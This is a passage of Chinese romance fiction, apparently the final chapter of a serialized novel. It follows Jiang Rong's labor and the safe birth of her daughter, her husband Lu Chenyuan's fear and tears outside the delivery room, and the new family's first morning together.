她会在黑暗中睁开眼,盯着天花板,脑子里却忍不住浮现一些她不愿意想的画面。 产房、灯光、被关上的门。 她知道这是正常的,几乎所有第一次做母亲的人,都会在临近时刻,被恐惧追上。 而每一次她梦醒之际,几乎都是被牢牢抱在陆沉渊怀里的,他每次都会在她耳边,轻声安慰。 可她还是控制不住。 有一次,她半夜醒来,发现陆沉渊也没睡,他高大的身影,靠在床头,手机早就暗了,只是坐着,像是一直在守着她,连一分钟都不曾松懈。 “你怎么还醒着。”她低声问。 “怕你不舒服。”他说。 姜绒沉默了一会儿,忽然垂下眸说:“我有点害怕。” 他立刻低头看她:“哪里不舒服?” “不是身体。”她轻声说,“是心里。” 陆沉渊伸手把她慢慢揽进怀里,让她靠在自己胸口:“怕什么?” 她闭上眼,声音很低:“怕到时候,我会不会真的走不出来。怕我再也看不到你。” 这句话说出口时,她自己都抖了一下。 他抱着她的手,明显收紧,却没有急着否认。 “你知道吗,”他说,“我也怕。” 这句话,让她怔住了,这还是陆沉渊第一次向她承认,他也会害怕,看她进产房这件事情。 “我怕我站在外面,什么都做不了。怕所有我会的东西,在那一刻都没用。” 姜绒眼眶湿润了,她知道,这段时间自己的压力很大,而悉心照顾她,为她开解一切的陆沉渊只会压力更大,但他从不表露出来,只是把所有都压在心底,默默承受。 “我……”她忍不住握住他骨节修长的手指,想安慰他一句。 陆沉渊的声音却先她一步,响了起来,虽然很低,却很稳:“但我会一直在,请你相信我,不管你进去了多久,我都会等你。” “我也相信,你绝对会好好的,平安无事的,和我们的孩子一起,出现在我面前。” 他反握着她的手指,掌心滚烫灼热,握得极紧,眸中的笃定却极强。 “嗯!”姜绒用手背抹去眼尾的泪水,向他点了点头,就像记住了自己对他许下的这个无形承诺。 那一夜,她靠在他怀里,虽然睡得断断续续,却也好了很多,没有再被恐惧完全吞没。 姜绒没有想到,她肚子真正发动的那一刻,是在深夜。 窗外很静,连风声都没有,她是被一阵突如其来的收缩疼醒的。 不是之前那种模糊的不适,而是非常清晰、明确、从身体深处涌上来的疼。 她猛地睁开眼,呼吸一下子乱了。 下一秒,又是一阵,比刚才来得更猛。 她下意识伸手去抓床单,却在半途抓住了陆沉渊的手:“陆沉渊……” 她的声音明显变了,“我好像……真的要生了。” 陆沉渊几乎是瞬间坐起来的。 灯被打开,房间亮起的一刻,他的神情非常清醒,看了一眼时间,又看她额头迅速冒出的冷汗,呼吸微不可察地一滞。 然后他迅速打电话,通知了专业的人员和车辆,立即送她们去早已选择好的,距离不过几分钟,他集团名下的医院。 “别怕,老婆。”收拾好一切后,他蹲下身来,握着她的手说,可这一次,他的声音里也有明显压不住的紧绷。 这还是结婚以后。他第一次这么叫她,显然是为了缓解她的一切紧张情绪。 然而第二阵疼痛,来得比预想中还要快,姜绒艰难的向他点了点头,却忍不住蜷了一下身体。 他高大的身影,立刻俯身,把她小心地托进了宽阔的怀里:“呼吸,跟我一起。” 可她能感觉到,他的心跳,明明比她还要快。 专业人员很快到,夜色被车灯撕开的时候,她已经疼得说不出完整的句子。 姜绒第一次意识到——身体正在被推向一个无法回头的过程。 医院的灯很亮,亮得让人有点慌,护士推着床,轮子在地面滚动的声音,清晰得过分,消毒水的味道,隐隐约约可以闻到。 她被推进专属的VIP待产区的时候,终于忍不住哭了,那些压抑不住的恐惧,似乎又从她身体和心里,爬出来了。 陆沉渊却在她面前,弯下身去,把额头贴在她额头上,骨节修长的手指,把她的手握的很紧。 “我在。”他说“你抬头就能看见我。” 这句话令她心里,略微安心了一些,学着护士的节奏,用深呼吸来放松心情。 很快,所有人都赶到了,无论是姜家的人,还是陆家的人。 苏清砚的手一握住她的瞬间,姜绒整个人就绷不住了:“妈妈……” 她的眼泪直接掉下来了,以前无论遇到任何事,她都可以找苏女士来解决,可唯独今天这件事,她必须独自面对,并去完成。 “绒绒,别怕,妈妈在这儿。你当年也是我这样生出来的,”苏清砚的声音稳得惊人,甚至带来了她在产房里,刚出生时的照片给她看。 她眼睛里闪烁着泪花,却充满了对女儿的鼓励:“我知道,你从来不是一个这么勇敢的人。” “但我们是女人,这是我们孕育生命艺术的必经之路,在今天,在这一刻,你在妈妈眼里,比这世界上的任何一个人,都要更加勇敢!” 姜绒点了点头,望着照片里,刚出生时那个懵懂无知,睁着一双大眼睛的自己,又看向苏清砚,在这一刻获得的力量,浇筑在了心里,逐渐冲散了那些恐惧害怕。 姜新鸣站在另一侧,没有多话,只是用力握了一下女儿的肩。 而她哥姜耀进来的时候,跑得很急,很明显是收到消息以后,克服万难,迅速想各种办法,到达她产房里来的。 看见她的时候,他满头汗,喉结滚了一下,却还是对自己妹妹笑着说:“行了行了,别哭。” “姜绒,你要是觉得疼,你就在心里骂我!反正我习惯了!” 姜绒被他逗得哭笑不得,短暂的忘记了一切。 没多久,陆沉渊的父母也来了。 黎婉矜在看见姜绒时,眼神软了下来。 “别怕。”她说得很轻,“医生都在。” 陆竞深站在一旁,没有插话,却第一次,把手放在了陆沉渊肩上,轻轻拍了拍他。 那是一个很短的动作,却让陆沉渊整个人,明显一震。 林晚最后一个到,高跟鞋一踩进病房,语气一如既往地冷静到近乎毒舌:“我查过了,最坏的概率也在可控范围内。” 她顿了顿,又补了一句:“所以你只需要做一件事。” “活着出来。剩下的交给我们!” 那一刻,姜绒忽然意识到——她不是独自一人被推上战场的,她是被很多很多爱,托着走进去的。 因为,这一刻,所有人都在。 当她的病床被推向产房里时,姜绒回头看了一眼陆沉渊,他高大的身影,仍然站在那里,不再发一言,眼睛却红得不像话。 她朝他尽力扯出一个笑容来,然后伸出手,轻轻握住了他的手,朝他说了几个字:“不要怕。” 陆沉渊重重点了点头,眼眶却红的更加厉害,显然在强忍着一切的情绪。 就在她即将被推进去的最后一秒,他兀然伸手牢牢握住了她的手腕,声音低得不行,语气里近乎哀求:“让我进去陪你吧,我想和你一起!” 姜绒抬头看向他。 这一刻,他不是什么没有感情的电脑人,也没有戴上任何掩盖自己情绪的面具,他只是一个普普通通的,有爱有痛,有血有肉,担心着自己老婆安危的普通的丈夫。 可她不会改变自己的想法——她不要他陪产。 “放心,我一定会出来。”她轻轻摇了摇头,用力将他的手指移开,缓声劝慰了他,对他许下了承诺。 陆沉渊很清楚,姜绒一旦决定了的事,基本上很难再改变,于是只能听她的话,松开了她的手。 看着她被推进去,最后对她说了一句:“我哪儿不去,我就在外面等着你!” 门缓缓合上,隔绝了所有人,灯光亮起。 那一瞬间,姜绒下意识抬头,看向天花板上的强光灯,突然意识到——她是真的要走这条路了。 第一次生孩子,第一次直面生死的不确定。 她的恐惧依然没有完全消失,可她知道,有人正站在门外,用尽一切方式,等她回来。 ———— 产房的门被彻底关上时,世界像是被切断了一半。 灯光骤然变得刺眼,空气冷而干净,消毒水的味道铺天盖地地涌上来,让人无处可躲。 姜绒手指死死攥住床沿,身体在本能地抓住一切可以依靠的东西。 第一阵真正的阵痛袭来时,她几乎没反应过来。 很像是被一股无法抗拒的力量,从身体最深处,把她狠狠向下拽,整个人都几乎要被撕开。 她下意识地弓起背,喉咙里溢出一声压抑的吸气声。 “别用力。”医生的声音很稳,“跟着节奏来。” 她点头,却发现自己根本无法控制。 第二阵疼来得更快,比上一阵更狠。 这一次,她没忍住,低低地叫了一声,声音一出口,她自己都愣了一下。 原来,人真的会在这种时刻,失去所有体面。 汗水很快浸湿了她的额发,背脊贴在床上,像是被火烤着。 每一次宫缩,都是一次明确的提醒——你正在被迫,把身体交出去。 她的脑子一阵一阵发空,疼痛像浪,一波比一波高,有一瞬间,几乎要把她整个人吞没。 就在这时,她忽然想起产房外的人。 想起陆沉渊站在走廊灯下的样子,想起他眼眶发红,却还强撑着冷静,想起他在门口说的那一句——“我在外面等你。” 她做那个没有让他进来陪产的决定,并不是因为她不需要他,恰恰相反,是因为太需要了。 正是因为需要他,所以她不想让他看到这一切。 不想让他看见她此刻被疼痛折磨、失控、无助的样子,不要他每分每秒跟着煎熬,不想让他听见这些声音,在以后的每一个夜里,反复回放。 她更不想——让他把这场痛,背在心里一辈子。 她知道他会把一切都记住,记得太清楚,所以她选择一个人扛。 在又一次宫缩袭来的时候,她死死咬住唇,疼得眼前一片发白。 “我能行。”她在心里一遍一遍地告诉自己。 “我一定要行。” 不知道过了多久,时间在这里没有意义,只有无尽的疼痛。 一次比一次近,一次比一次狠。 她的声音早已经哑了,手指攥得发麻,就在她几乎要失去意识的边缘,医生的声音忽然变得清晰起来。 “看到头了,再来一次。” 那一刻,姜绒甚至没有力气害怕,她只剩下一个念头——结束它。 她咬紧牙关,用尽了身体里最后一点力气,把整个人,往未知的深处狠狠推了一把。 下一秒。 世界骤然一空。 紧接着——一道嘹亮的哭声,骤然响起。 清脆、有力,划破整个产房。 那一瞬间,姜绒的意识猛地被拉了回来。 医生的兴奋而激动嗯声音随之落下: “是个女孩。” “母女平安!” 这句话,像是终于落下的锚,她躺在那里,汗水浸湿了全身,眼泪彻底失控,毫无预兆地涌出来。 产房外。 陆沉渊一步都没挪,从她被推进去开始,他就站在那盏灯下。 没有坐下、没有靠墙,用整个身体,守着那扇门。 时间被无限拉长,每一秒,都是煎熬。 这一刻,他是第一次,真正意义上地慌了。 不是项目失控,不是资本崩盘,不是任何他熟悉的风险模型。 是彻底无法干预、无法替代、无法计算的事。 他站在产房外,双手垂在身侧,指尖却在轻微颤抖。 他意识到一件事———他什么都做不了。 他从小被父母教导,要掌控、要预判、要在任何情况下都站在高处。 可现在,他只能等。 每一秒,都像被拉得无限长。 他第一次如此清晰地感受到——恐惧不是失去控制,而是害怕失去她。 就在他几乎要被这份等待撕裂的时候——那声啼哭,突然响起。 清亮、真实、毫不掩饰地宣告,她的降生与存在。 下一秒,医生推开门,通知所有人:“母女平安。” 话音刚落——陆沉渊已经冲了进去,没有犹豫、没有顾忌,像是整个世界,只剩下这一条路。 鞋底在地面擦出一声极轻的声响,他却完全顾不上。 产房里的灯光亮得刺眼,空气里还残留着血腥与消毒水混杂的味道,冷而清晰。 他的视线没有去找孩子,只是在第一时间,看见了她。 姜绒躺在那里,头发被汗水打湿,贴在额角,脸色苍白得近乎透明,嘴唇却还微微动着。 她睁着眼。 那一瞬间,他整个人像是被重重击中,腿一软,几乎是本能地,在床边跪了下来。 不是故意做出来的姿态,而是真的支撑不住了。 “姜绒……”他的声音低哑得不像话。 她慢慢转过头,看见他,先是愣了一下,然后,轻轻地笑了。 那笑容极浅,却真实。 “你怎么……”她的声音虚弱,“进来了。” 这一句,彻底击垮了他。 陆沉渊的手抖得厉害,却还是小心翼翼地,握住了她纤长的手,那只手很凉,却有温度。 “你……”他根本说不出完整的句子,喉咙像是被什么堵住。 她活泼的眨了下眼,像是在努力确认他的样子:“我回来了呀。” 她轻声对他说,语气里带了几分俏皮。 这一句话,让陆沉渊再也撑不住,他低下头,额头贴在她的手背上,宽阔的肩膀猛地一颤,眼泪毫无预兆地落下来。 一滴。 又一滴。 砸在她的指节上。 仿佛被强行绷了许久之后,终于被允许崩塌的无声失控。 这一刻,他忽然想起很多事。 想起高中时那个总是被人围在中间的女孩,想起她笑起来有梨涡,什么都不怕的样子,想起她后来出国离开,像光一样出现,却像空气一样消失在他的世界里。 想起自己第一次意识到——原来有一个人,可以轻而易举,让他的整个世界失序。 他曾经以为,爱是弱点,是必须戒断的情绪。 可此刻他才明白——爱,是让人甘愿跪下来祈祷的东西。 姜绒感觉到了,她慢慢抬起手,动作很轻,很费力,却还是捧住了他的脸。 他的眼眶红得吓人,泪水止不住地往下掉。 她拇指轻轻擦过他的眼角。 “你哭什么。”她轻声说,“不是……都好了吗。” 陆沉渊抬头看她,这一刻,所有身份、理性、控制力,全都不见了,只剩下一个,差点就失去一切的人。 “对不起。”他说,声音破碎“让你一个人……那么疼。” 她怔了一下,然后轻轻摇了摇头:“我不想让你看到,我怕你会记一辈子。” 陆沉渊猛地一震,将她拥进了怀里:“我已经记一辈子了,不管你让不让我看。” 不是幻觉,不是失而复得的错觉,他的手臂慢慢收紧,小心翼翼,像抱着一件易碎而脆弱的东西。 而这句话,姜绒听得很清楚,他在她耳边,说得极低,却也极重,饱含着分量。 令她的眼眶,也红了起来,整个世界仿佛在这一刻都静默了下来,只剩下拥抱与彼此的呼吸。 ———— 过了一会儿,护士把襁褓抱过来,轻声问:“爸爸要不要也看一看宝宝?刚才妈妈已经和宝宝贴贴了。” “爸爸”两个字落下的瞬间,陆沉渊的呼吸停了一拍。 这才抬头,目光第一次落在这个小小的生命上。 那么小。 小得几乎不像真实存在。 皱巴巴的,皮肤泛着淡淡的红,闭着眼,呼吸轻得像一片落在水面的羽毛。 刚才的哭声却很有力,像是在用尽全身的力气,宣告来到这个世界。 他的喉结狠狠滚动了一下。 “是个很漂亮、很可爱的小棉袄呢。”护士笑着,对他们说。 姜绒轻轻“嗯”了一声,转头看向陆沉渊说:“像你。” 他愣了一下。 她看着他,笑得有点虚弱,却说得很认真:“眼睛。你们俩哭的时候,一模一样。” 这一句话,让他的眼泪,又一次掉下来。 可这一次,他没有低头,只是小心翼翼地,伸出手,指尖在半空中停了一秒,然后,轻轻地,碰了碰那只小小的手。 那触感极轻,却真实得让人发颤。 他忽然明白了一件事——他这一生,第一次拥有了两件不能失去的东西。 而她们,都还在。 “爸爸可以抱抱宝宝,”护士的话,接着在他们耳边响起,她把襁褓递过来时,动作熟练而轻快,语气也很寻常。 陆沉渊的大脑一片空白,所有逻辑、判断、风险评估,在这一刻全部失效。 他伸出手,却在半空中停住。 不敢,真的不敢。 “我……”他喉结滚动了一下,声音低得不像自己,“我有点怕。” 护士愣了一下,随即笑了:“怕很正常。” 她调整了一下他的姿势,把孩子轻轻放进了他怀里。 那重量落下来的瞬间——不是沉。 是满,像是有什么东西,终于被塞进了他一直空着的那一块。 他的手臂僵着,一动不动,甚至不敢呼吸太重。 姜绒躺在病床上,看着这一幕,她虚弱,却清醒。 看着那个一向冷静到近乎残忍的男人,此刻眉心紧蹙,神情仍然紧张得不像话。 “陆沉渊。”她轻声叫他。 他抬头,眼眶还是红的。 “你可以的。”她说。 只是这四个字,却像一道许可。 他低下头,看着怀里的孩子,过了很久,才极轻极轻地,调整了一下手臂。 孩子在他怀里动了动,发出一声细小的、几乎听不见的哼声。 那一刻,陆沉渊整个人都僵住了。 然后——心脏猛地一缩。并不是紧张,而是某种,近乎本能的心软。 他忽然明白了一件事。 这不是责任、不是传承,不是任何理性层面的意义。这是一个生命,在毫无保留地依赖他。 他低下头,额头轻轻贴在孩子的额角,声音很低,很轻。 “你好。”这是他这辈子,说过最温柔的一句话。 看着这一幕,姜绒笑了,她微微闭了闭眼睛。 在这一刻,所有疼痛、恐惧、未知,都被慢慢推远了。 她知道——这一关,她走出来了。 而他,也终于学会了,如何去抱紧这个世界。 后来,护士离开了。 姜家人和陆家人,都陆陆续续的进来看了宝宝以后,又都默契的离开了,把时间留给了他们。 病房里只剩下他们一家三口,窗外的光慢慢亮起来,世界恢复了日常的声音。 可陆沉渊却觉得,一切都不一样了。 姜绒缓过来了不少,半躺坐在床上,看着他,忽然笑了一下:“你看起来,比我还紧张。” 他没有反驳,只是把孩子抱得更稳了一点。 过了一会儿,孩子睡着了,呼吸均匀。 他却还舍不得放下,像是怕一松手,这一切就会消失。 姜绒伸手,轻轻碰了碰他的手腕:“累了就给我。” 他摇头:“没事,再一会儿。” 陆沉渊低头看着怀里的小小轮廓,忽然想起自己的小时候。 那些被要求绝对服从、绝对听话、并被要求优秀、不动声色的日子。 他从未被这样抱过,可这一刻,他却在学着,把缺失的一切,补给另一个人,并拥有一个小小的,完全不同,却绝对温馨、幸福的家。 他的低声向孩子说了一句——“以后,我会慢慢学。” “学怎么抱你,学怎么保护你,学怎么去爱你。” 姜绒再度笑了一下,抬手轻轻碰了碰他的脸颊,指腹还没完全落上去,他就像是本能一样,偏头去贴她的掌心。 动作很小,却把她整颗心都揉软了。 “陆沉渊,你看。”她轻声说,“其实,你已经学会了。因为你在做,你以前根本就不会做的事了。” 他抬头看了她一眼,一双炙热的黑眸里盛着许多情绪。 姜绒望着他,声音很轻,带着一点疲惫后的柔软,忽然说道: “碰到你的时候,我以前一直觉得,我像贝儿。” 陆沉渊微微一怔:“什么意思?” 她看着他,眼神明亮又温柔:“就是……如果你是那头野兽,那我愿意和你共舞。” 这句话说得很轻,可落在陆沉渊耳朵里,却像一道闸门被推开。 他喉结滚动了一下,眼眶再次泛红,却没有再掉泪。 他低下头,看了一眼孩子,又抬眸看她,声音低哑:“我不想当野兽,我想当你遮风避雨的家。” 姜绒愣了一下。 下一秒,眼泪终于忍不住,毫无预兆地涌出来,不是因为难过,是太满足,太被击中。 她吸了吸鼻子,笑着骂了他一句:“你现在,怎么……这么会说。” 陆沉渊却很认真:“不是我会说,是我第一次知道——家原来是这种东西。” “是有人在。是你在、是她也在。”他低下头,轻轻碰了碰孩子的额角,像是怕惊醒她。 然后,他抬眸看向姜绒,声音轻得像誓言:“你把我缺的那部分,都补上了。” 姜绒望着他,眼睛湿漉漉的,却笑得很亮:“那你要好好学,学一辈子。” 他点头。 “好。”他说,“一辈子。” 窗外的天,终于亮透。 清晨的光穿过窗帘缝隙,落在白色床单上,落在襁褓柔软的边角,也落在他们交握的手上。 病房里还有淡淡的消毒水味,世界渐渐苏醒,却不再显得冰冷,反而温馨美好至极。 这间房里,有她压低的笑声,有他时不时的低声回应。 还有襁褓里小小一团的婴儿,细小均匀的呼吸声,听着他们的声音入眠,像一颗刚落进人间的星,终于找到了属于自己的怀抱。 世界依旧喧嚣,可他们的小小宇宙,在这一刻,却安稳得像一场梦。 而梦终于成真。 ——The ending《 》